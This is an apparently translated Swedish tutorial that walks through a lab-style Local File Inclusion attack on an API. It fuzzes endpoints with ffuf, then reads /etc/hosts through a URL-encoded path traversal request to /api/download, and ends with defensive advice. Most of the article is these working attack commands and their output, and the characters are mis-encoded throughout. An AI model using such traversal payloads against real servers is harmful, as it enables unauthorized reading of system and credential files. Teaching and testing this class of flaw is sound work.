“TĂ€nk dig att du har en lĂ„da med alla dina viktigaste dokument â men nĂ„gon har glömt att lĂ„sa den ordentligt. Det Ă€r ungefĂ€r sĂ„ en Local File Inclusion-sĂ„rbarhet fungerar.”
Local File Inclusion (LFI) Ă€r en av de mer underskattade men potentiellt förödande sĂ€kerhetsbristerna i webbapplikationer. Den gör det möjligt för en angripare att lĂ€sa interna filer pĂ„ servern â allt frĂ„n konfigurationsfiler till lösenordshashar. Kombinerat med andra attacker som logginjektion kan det till och med leda till fullstĂ€ndig systemövertagning.
I den hÀr artikeln ska vi utforska hur man upptÀcker och utnyttjar en LFI-sÄrbarhet via ett API, steg för steg.
đ§Ș UpptĂ€ck API-endpoint och testa LFI #
1. MÄlet: En MisstÀnkt WebbtjÀnst #
Vi har en webbtjĂ€nst som körs pĂ„ http://<MĂ
L-IP>:3000/api
. Första steget Àr att kolla om API:t svarar:
curl http://<MĂ
L-IP>:3000/api
Svar:
{"status":"UP"}
Bra, API:t lever â men det sĂ€ger inte mycket mer. Nu behöver vi hitta intressanta endpoints.
2. Fuzzing: Leta efter Dolda Dörrar #
Med verktyget ffuf
och en lista över vanliga API-endpoints (common-api-endpoints-mazen160.txt
) kan vi skanna efter möjliga ingÄngar:
ffuf -w common-api-endpoints-mazen160.txt -u 'http://<MĂ
L-IP>:3000/api/FUZZ'
Resultat:
/api/download
(Status: 200) â Det hĂ€r ser lovande ut!
3. Testa Endpointen #
Vi provar att anropa /download
direkt:
curl http://<MĂ
L-IP>:3000/api/download
Svar:
{"success":false,"error":"Ange filnamn via /download/<filnamn>"}
Aha! Den förvĂ€ntar sig en fil som indata. Nu börjar det bli intressant…
𧚠Utför LFI med Path Traversal #
Path Traversal â “GĂ„ UppĂ„t” i Filsystemet #
Om vi kan ange en fil, kan vi kanske anvÀnda ../
(path traversal) för att komma Ät andra filer utanför den avsedda mappen.
Vi testar med /etc/hosts
, en vanlig systemfil:
curl "http://<MĂ
L-IP>:3000/api/download/..%2f..%2f..%2f..%2fetc%2fhosts"
(Obs: %2f
Àr URL-kodat för /
för att undvika tolkningsproblem.)
Resultat:
127.0.0.1 localhost
127.0.1.1 nix01-websvc
...
â Bingo! Vi har bekrĂ€ftat att LFI Ă€r möjligt och kan lĂ€sa kĂ€nsliga filer pĂ„ servern.
đĄ Slutsats â SĂ€kerheten Börjar Med Input-validering #
Den hÀr demonstrationen visar hur farligt det kan vara nÀr ett API inte sanerar anvÀndarinput ordentligt:
- En obskyr endpoint (
/download
) blev vÄr ingÄngspunkt. - Path traversal gav oss obehörig Ätkomst till systemfiler.
- Ytterligare attacker (som RCE) hade kunnat följa om filinnehÄllet var körbart.
Rekommenderade à tgÀrder: #
â Validera alla indata â TillĂ„t inte ../
eller andra farliga tecken.
â BegrĂ€nsa filĂ„tkomst â AnvĂ€nd basmappbegrĂ€nsningar (chroot).
â Logga misstĂ€nkta förfrĂ„gningar â UpptĂ€ck tidigt om nĂ„gon försöker sig pĂ„ path traversal.
“En sĂ€ker applikation Ă€r som ett vĂ€lbyggt hus â inga dolda dörrar, inga löst sittande brickor.” đâš
Vad tror du? Har du stött pĂ„ liknande sĂ„rbarheter i din egen kodbas? Dela dina tankar i kommentarerna! đ
(ĂversĂ€ttning: BehĂ„ller originalets stil och ton, men anpassar vissa termer till mer naturlig svenska, t.ex. “TARGET IP” â “MĂ L-IP”, “filename” â “filnamn”. URL-kodning förklarades pĂ„ svenska för tydlighet.)